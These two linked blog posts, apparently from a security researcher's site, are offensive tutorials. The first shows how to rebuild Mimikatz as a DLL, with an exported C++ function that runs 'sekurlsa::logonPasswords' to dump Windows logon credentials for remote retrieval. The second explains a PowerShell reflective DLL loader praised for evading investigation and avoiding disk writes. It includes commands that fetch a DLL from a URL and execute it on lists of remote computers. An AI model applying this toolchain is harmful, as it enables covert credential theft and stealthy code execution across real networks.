Modifying Mimikatz to be Loaded Using Invoke-ReflectiveDLLInjection.ps1

This is a follow up to my article about reflectively loading DLLs using PowerShell. This will walk you through the relatively simple process of modifying mimikatz to be loadable using the reflective DLL loader to dump passwords. I’ve included a link at the bottom of this post to the english version of mimikatz, which is what I modified.

You need:

  • Visual Studio 2010 (Mimikatz doesn’t appear to be conformant to C++11 so it won’t compile under Visual Studio 2012, 2008 will probably work as well).
  • Mimikatz (English version: https://github.com/thomhastings/mimikatz-en)

Normally Mimikatz uses wcout to output data to the user; due to PowerShell limitations, if the DLL outputs data to stdout it cannot be seen by a user using remote PowerShell, you will only be able to see the output if you run the script locally. Luckily, it is very easy to modify the mimikatz DLL to output to a format which can be retrieved remotely. Here is how to do it:

 1. Turn the project in to a DLL instead of an executable

Right click the project “mimikatz-en”, select “Properties”. The default screen should be Configuration Properties -> General. Change “Configuration Type” to “Dynamic Library (.dll). Change the project to be 64 bit if you need to use Mimikatz on 64bit operating systems. This can be found in Build->Configuration Manager.

2. Declare the wostream we will use instead of wcout

Create a new file “global.h”, put the following code in it:


#include <ostream>
extern std::wostream *outputStream;

Create a new file “global.cpp”, put the following code in it:


#include <ostream>
#include <iostream>
#include "global.h"

std::wostream *outputStream = &std::wcout;

3. Modify the calls to wcout

Find the code which outputs information you want. In mimkatz, data is output using


wcout << L”Stuff to output”;

This needs to be changed to output to outputStream instead of wcout. By default, outputStream will output to wcout (because that is the default we set in global.cpp). We can change that behavior (and will change it later).

In mimikatz, passwords are output in mod_mimikatz_sekurlsa.cpp. Just search for “wcout” and replace it with “(*outputStream)”, and remember to include “global.h” in any file you modify to use “(*outputStream)”. For example:


(*outputStream) << endl <<
    L"Authentication ID         : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
    L"Authentication Package    : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
    L"Primary user              : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
    L"Domain authentication     : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;

4. Write an export function in the DLL for the PowerShell script to call.

Here’s my export function, it goes in main.cpp.


extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
{
    wostringstream *stringStream = new wostringstream();
    outputStream = stringStream;

    vector<wstring> * mesArguments = new vector<wstring>();
    (*mesArguments).push_back(L"privilege::debug");
    (*mesArguments).push_back(L"sekurlsa::logonPasswords");
    (*mesArguments).push_back(L"exit");

    mimikatz * myMimiKatz = new mimikatz(mesArguments);
    delete myMimiKatz, mesArguments;

    wstring output = (*stringStream).str();
    const wchar_t* outputStr = output.c_str();
    wchar_t* out = new wchar_t[output.size()+1];
    wcscpy(out, outputStr);
    out[output.size()] = '\0';

    return out;
}

The function is named WStringFunc(), if you recall from my previous blog post, this is one of the DLL export functions Invoke-ReflectiveDLLInjection can call without modification. The function sets outputStream equal to a wostringstream instead of wcout. It builds an array of strings to pass to the main mimikatz function (which is needed because we can’t pass command line parameters which are what is normally passed). Once mimikatz does its work, the function converts the wostringstream (which contains the mimikatz output) to a wstring, and then converts that wstring to a wchar_t*. This pointer is returned, and Invoke-ReflectiveDllInjection will read this string and pass it back to the user.

Final Thoughts:

This process should be pretty easy to do, I’d guess you can have a compiled version of mimikatz-en-DLL in less than 10 minutes. You can use the methodology shown here of using a wostream in place of wcout to convert any DLL into a DLL which can output data to Invoke-ReflectiveDLLInjection, and it is super easy to do the conversion.

References:

Invoke-ReflectiveDLLInjection blog post: https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

English Mimikatz: https://github.com/thomhastings/mimikatz-en

Mimikatz Website: http://blog.gentilkiwi.com/mimikatz

Tagged with: ,
Posted in Hacking

Reflective DLL Injection with PowerShell

Normally when you load a DLL in Windows, you call LoadLibrary. LoadLibrary takes the file path of a DLL and loads it in to memory. In addition to the DLL being on disk, the DLL will show up when tools such as ListDLLs are used to enumerate the DLLs loaded in memory.

Reflective DLL loading refers to loading a DLL from memory rather than from disk. Windows doesn’t have a LoadLibrary function that supports this, so to get the functionality you have to write your own. One benefit to writing our own function is that we omit some of the things Windows normally does, such as registering the DLL as a loaded module in the process, which makes the reflective loader sneakier when being investigated. Meterpreter is an example of a tool which uses reflective loading to hide itself.

So why write this in PowerShell? Two reasons, first, a PowerShell script simply executes PowerShell.exe on the target system, which isn’t particularly suspicious. Second, PowerShell remoting allows us to remotely execute scripts without ever writing to disk on the target system. How sneaky :-).

My initial goal was to be able to run a tool like Mimikatz (http://blog.gentilkiwi.com/mimikatz) without ever writing to disk, but there are plenty of other uses.

I’m going describe what this script does, but there are better resources available on the Internet; I suggest you check them out if you really want more information on the process of loading a DLL. I’ll include some links at the bottom of this post to material I found useful.

In a nutshell, LoadLibrary does the following steps (and additional ones which I haven’t implemented because they don’t appear to be needed):

  1. Allocate space for the DLL and copy the DLL headers in to memory
  2. Copy the DLL sections to memory
  3. Perform base relocations on the sections loaded
  4. Load DLLs required by the DLL being loaded
  5. Set correct memory permissions in memory for the DLL
  6. Call DLLMain so the DLL knows it is loaded
  7. Return the handle to the DLL, which is the memory address of the first byte of the DLL

It’s worth noting that LoadLibrary probably does some stuff that my script doesn’t in each of these steps. My undemanding test cases work fine, but it almost certainly will have bugs when used with a wide range of DLL’s.

Important Structures:

1. Allocate space for the DLL and copy the DLL header to memory

Executable files contain headers with important information, and these headers need to be copied in to memory.

First we allocate space for the DLL, this is done by getting the value SizeOfImage from IMAGE_OPTIONAL_HEADER, which indicates the amount of space the DLL takes up in memory. The IMAGE_OPTIONAL_HEADER also contains the field “ImageBase”. This contains the address the DLL would like to be loaded to. I ignore this request and instead load the DLL to a random location. It’s not as good as ASLR, but it’s better than nothing. This will become relevant for step 3, performing the base relocations.

Then we copy all the DLL headers in to memory, starting at the beginning of allocated memory.

2. Copy the DLL sections to memory

Every DLL has multiple sections, this includes things like the code, data, etc. The structures containing information for these headers are located directly after IMAGE_NT_HEADERS in the DLL file. Each section has several variables we care about when loading a DLL:

SizeOfRawData: The size the data takes up on disk

PointerToRawData: The offset from the beginning of the DLL to the data

VirtualSize: The size the data takes up in memory

It is important to note that VirtualSize ultimately determines how much data is written to memory. In an ideal world, SizeOfRawData and VirtualSize would always be equal, but that is not the case.

If VirtualSize is greater than SizeOfRawData, it indicates that there is uninitialized data which we are allocating space for. In this case, we write all the data from disk in to memory (SizeOfRawData bytes), and then zero out the additional memory which is unallocated (VirtualSize-SizeOfRawData bytes).

Sometimes SizeOfRawData is greater than VirtualSize; this happens because SizeOfRawData must be rounded up to the nearest FileAlignment multiple. VirtualSize indicates how much of the data is actually needed, the extra data is just padding.

If PointerToRawData is null, I set SizeOfRawData to zero. This results in VirtualSize bytes being initialized to zero in memory (because we always use VirtualSize bytes). PointerToRawData being null should indicate the section is entirely uninitialized data.

3. Perform base relocations on the sections loaded

When a DLL is compiled, it has a base address it would like to be loaded to. All the memory addresses compiled in to the program (function addresses, variable address, etc) are determined by the compiler based on the ImageBase. Because we loaded the DLL to a different memory location, all of the memory addresses which were hardcoded in to the DLL need to be modified according to the difference of where the DLL wanted to be loaded and where it was loaded. There is an array of IMAGE_BASE_RELOCATION structures in the DLL headers which keep track of the locations of all memory addresses hardcoded in to the DLL.

Each IMAGE_BASE_RELOCATION is followed by an array of UInt16’s. The IMAGE_BASE_RELOCATION contains two fields, SizeOfBlock which indicates the size of the IMAGE_BASE_RELOCATION and following UInt16s, and VirtualAddress which is the base address for the relocations.

Each UInt16 in the UInt16 array contains information about the relocation. The first 4 bits represent the relocation type. For a DLL there are only two types which are used, IMAGE_REL_BASED_HIGHLOW which is used for 32bit DLLs and IMAGE_REL_BASED_DIR64 which is used for 64 bit DLLs. There is a third type, IMAGE_REL_BASED_ABSOLUTE, which is just used for memory alignment. The last 12 bits of the UInt16 represent the offset from the base address, defined above by the VirtualAddress field, that the memory address which needs to be relocated exists.

if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
  -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
{
    #Get the current memory address and update it based off the difference between Dll expected base address and actual base address
    [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
    [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [IntPtr])

    if ($AddDifference -eq $true)
    {
        [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
    }
    else
    {
        [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
    }

    [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
}

What the code shows is that we add the offset to the MemAddrBase, which is the VirtualAddress. We use this value (FinalAddr) as a pointer to an IntPtr (CurrAddr) which is either 32bit or 64bit depending on the process running, this value is the address to relocate. We then either add or subtract the difference in base address compared to loaded address from CurrAddr and write it back in to memory.

Using this process, we loop through all the IMAGE_BASE_RELOCATIONS and relocate all memory addresses in the DLL.

4. Load DLLs required by the DLL being loaded

The DLL we are loading likely has DLL’s it requires, so we must load them. We must then get the address to all the functions needed by our reflective DLL and overwrite the placeholder function addresses with the loaded addresses.

The IMAGE_OPTIONAL_HEADER structure contains a VirtualAddress which points to an array of IMAGE_IMPORT_DESCRIPTOR structures. The name field of this structure contains a pointer to a string, which is the name of the DLL to load. The FirstThunk field is initially a pointer to a RVA (memory offset from DLL Handle) to an array of IMAGE_IMPORT_BY_NAME structures. This structure contains a WORD followed by a string containing the function name. We call GetProcAddress and get the process address, and replace the pointer to RVA to IMAGE_IMPORT_BY_NAME with a pointer to the function.

5. Set correct memory permissions in memory for the DLL

This last step is pretty simple, each section header contains a characteristics field which contains a bunch of information including the memory protection flags which should be applied to memory of the section. We get these protection flags and set them in memory using VirtualProtect.

How to use the script:

The script currently allows you to load a DLL from a local file (and execute it remotely) or retrieving the DLL from a URL. It is also possible and easy to modify the script with a hardcoded DLL byte array; I recommend doing this for any DLL you plan on using often.

Here’s an example that loads a DLL from a URL and runs it on a remote computer:


Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER

An example that loads a DLL from a file and runs it on a list of computers loaded from computers.txt:


Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt)

You probably noticed the -FuncReturnType parameter. Once the DLL is loaded, the script will call a function of your choosing from the DLL. This means you must create a delegate function in PowerShell, retrieve the function address in the DLL, map it to the delegate function, and call the function. To make life a little easier, I have provided three function definitions in the script. The function definitions are:

void VoidFunc();
char* StringFunc();
wchar_t* WStringFunc();

If you create a DLL which has one of these functions exported, you can specify the function by using the -FuncReturnType with the types Void, String, and WString. You can also just write your own delegates in the script, it’s not very difficult.

The ComputerName parameter is exactly the same as ComputerName in Invoke-Command (the variable is passed directly to Invoke-Command); you can use it to specify one or more computers to run the script on remotely. This is an optional parameter, if you specify no ComputerName the script will run locally.

What isn’t implemented yet:

  • EXE loading – You can actually load EXE’s right now, you just can’t pass them parameters. I’m working on this right now, the ability to reflectively load EXE’s should be coming soon :-).
  • Remote injection – Right now the script can’t inject a DLL in a remote process. I’d like to investigate how possible this is with PowerShell once I finish up EXE loading.

Links:

You can find the script at:

https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection

You can find a sample DLL project at:

https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection/DemoDLL

Other reflective loaders:

References:

Tagged with: ,
Posted in Hacking